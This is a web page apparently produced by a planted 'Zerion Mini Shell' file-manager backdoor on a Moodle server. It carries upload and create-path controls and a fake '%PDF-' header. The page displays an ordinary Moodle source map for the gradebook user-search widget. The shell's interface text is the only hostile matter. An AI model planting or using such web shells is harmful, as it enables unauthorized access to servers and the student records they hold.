%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/ava/grade/report/user/amd/build/
Upload File :
Create Path :
Current File : /home/vacivi36/ava/grade/report/user/amd/build/user.min.js.map

{"version":3,"file":"user.min.js","sources":["../src/user.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * A widget to search users within the gradebook.\n *\n * @module    gradereport_user/user\n * @copyright 2022 Mathew May <mathew.solutions>\n * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\n\nimport Pending from 'core/pending';\nimport * as Templates from 'core/templates';\nimport * as Repository from 'core_grades/searchwidget/repository';\nimport * as WidgetBase from 'core_grades/searchwidget/basewidget';\nimport {get_string as getString} from 'core/str';\nimport Url from 'core/url';\nimport $ from 'jquery';\nimport * as Selectors from 'core_grades/searchwidget/selectors';\n\n/**\n * Our entry point into starting to build the search widget.\n * It'll eventually, based upon the listeners, open the search widget and allow filtering.\n *\n * @method init\n */\nexport const init = () => {\n    const pendingPromise = new Pending();\n    registerListenerEvents();\n    pendingPromise.resolve();\n};\n\n/**\n * Register user search widget related event listeners.\n *\n * @method registerListenerEvents\n */\nconst registerListenerEvents = () => {\n    let {bodyPromiseResolver, bodyPromise} = WidgetBase.promisesAndResolvers();\n    const dropdownMenuContainer = document.querySelector(Selectors.elements.getSearchWidgetDropdownSelector('user'));\n\n    // Handle the 'shown.bs.dropdown' event (Fired when the dropdown menu is fully displayed).\n    $(Selectors.elements.getSearchWidgetSelector('user')).on('show.bs.dropdown', async(e) => {\n        const courseID = e.relatedTarget.dataset.courseid;\n        const groupId = e.relatedTarget.dataset.groupid;\n        const actionBaseUrl = Url.relativeUrl('/grade/report/user/index.php', {}, false);\n        // Display a loading icon in the dropdown menu container until the body promise is resolved.\n        await WidgetBase.showLoader(dropdownMenuContainer);\n\n        // If an error occurs while fetching the data, display the error within the dropdown menu.\n        const data = await Repository.userFetch(courseID, actionBaseUrl, groupId).catch(async(e) => {\n            const errorTemplateData = {\n                'errormessage': e.message\n            };\n            bodyPromiseResolver(\n                await Templates.render('core_grades/searchwidget/error', errorTemplateData)\n            );\n        });\n\n        // Early return if there is no module data.\n        if (data === []) {\n            return;\n        }\n\n        // The HTML for the 'All users' option which will be rendered in the non-searchable content are of the widget.\n        const allUsersOptionName = await getString('allusersnum', 'gradereport_user', data.users.length);\n        const allUsersOption = await Templates.render('gradereport_user/all_users_item', {\n            id: 0,\n            name: allUsersOptionName,\n            url: Url.relativeUrl('/grade/report/user/index.php', {id: courseID, userid: 0}, false),\n        });\n\n        await WidgetBase.init(\n            dropdownMenuContainer,\n            bodyPromise,\n            data.users,\n            searchUsers(),\n            allUsersOption\n        );\n\n        // Resolvers for passed functions in the dropdown menu creation.\n        bodyPromiseResolver(Templates.render(\n            'core_grades/searchwidget/user/usersearch_body', {displayunsearchablecontent: true}\n        ));\n    });\n\n    // Handle the 'hide.bs.dropdown' event (Fired when the dropdown menu is being closed).\n    $(Selectors.elements.getSearchWidgetSelector('user')).on('hide.bs.dropdown', () => {\n        // Reset the state once the user menu dropdown is closed.\n        dropdownMenuContainer.innerHTML = '';\n    });\n};\n\n/**\n * Define how we want to search and filter users when the user decides to input a search value.\n *\n * @method registerListenerEvents\n * @returns {function(): function(*, *): (*)}\n */\nconst searchUsers = () => {\n    return () => {\n        return (users, searchTerm) => {\n            if (searchTerm === '') {\n                return users;\n            }\n            searchTerm = searchTerm.toLowerCase();\n            const searchResults = [];\n            users.forEach((user) => {\n                const userName = user.fullname.toLowerCase();\n                if (userName.includes(searchTerm)) {\n                    searchResults.push(user);\n                }\n            });\n            return searchResults;\n        };\n    };\n};\n"],"names":["pendingPromise","Pending","registerListenerEvents","resolve","bodyPromiseResolver","bodyPromise","WidgetBase","promisesAndResolvers","dropdownMenuContainer","document","querySelector","Selectors","elements","getSearchWidgetDropdownSelector","getSearchWidgetSelector","on","async","courseID","e","relatedTarget","dataset","courseid","groupId","groupid","actionBaseUrl","Url","relativeUrl","showLoader","data","Repository","userFetch","catch","errorTemplateData","message","Templates","render","allUsersOptionName","users","length","allUsersOption","id","name","url","userid","init","searchUsers","displayunsearchablecontent","innerHTML","searchTerm","toLowerCase","searchResults","forEach","user","fullname","includes","push"],"mappings":";;;;;;;4YAsCoB,WACVA,eAAiB,IAAIC,iBAC3BC,yBACAF,eAAeG,iBAQbD,uBAAyB,SACvBE,oBAACA,oBAADC,YAAsBA,aAAeC,WAAWC,6BAC9CC,sBAAwBC,SAASC,cAAcC,UAAUC,SAASC,gCAAgC,6BAGtGF,UAAUC,SAASE,wBAAwB,SAASC,GAAG,oBAAoBC,MAAAA,UACnEC,SAAWC,EAAEC,cAAcC,QAAQC,SACnCC,QAAUJ,EAAEC,cAAcC,QAAQG,QAClCC,cAAgBC,aAAIC,YAAY,+BAAgC,IAAI,SAEpEpB,WAAWqB,WAAWnB,6BAGtBoB,WAAaC,WAAWC,UAAUb,SAAUO,cAAeF,SAASS,OAAMf,MAAAA,UACtEgB,kBAAoB,cACNd,EAAEe,SAEtB7B,0BACU8B,UAAUC,OAAO,iCAAkCH,0BAK7DJ,OAAS,gBAKPQ,yBAA2B,mBAAU,cAAe,mBAAoBR,KAAKS,MAAMC,QACnFC,qBAAuBL,UAAUC,OAAO,kCAAmC,CAC7EK,GAAI,EACJC,KAAML,mBACNM,IAAKjB,aAAIC,YAAY,+BAAgC,CAACc,GAAIvB,SAAU0B,OAAQ,IAAI,WAG9ErC,WAAWsC,KACbpC,sBACAH,YACAuB,KAAKS,MACLQ,cACAN,gBAIJnC,oBAAoB8B,UAAUC,OAC1B,gDAAiD,CAACW,4BAA4B,4BAKpFnC,UAAUC,SAASE,wBAAwB,SAASC,GAAG,oBAAoB,KAEzEP,sBAAsBuC,UAAY,OAUpCF,YAAc,IACT,IACI,CAACR,MAAOW,iBACQ,KAAfA,kBACOX,MAEXW,WAAaA,WAAWC,oBAClBC,cAAgB,UACtBb,MAAMc,SAASC,OACMA,KAAKC,SAASJ,cAClBK,SAASN,aAClBE,cAAcK,KAAKH,SAGpBF"}

Zerion Mini Shell 1.0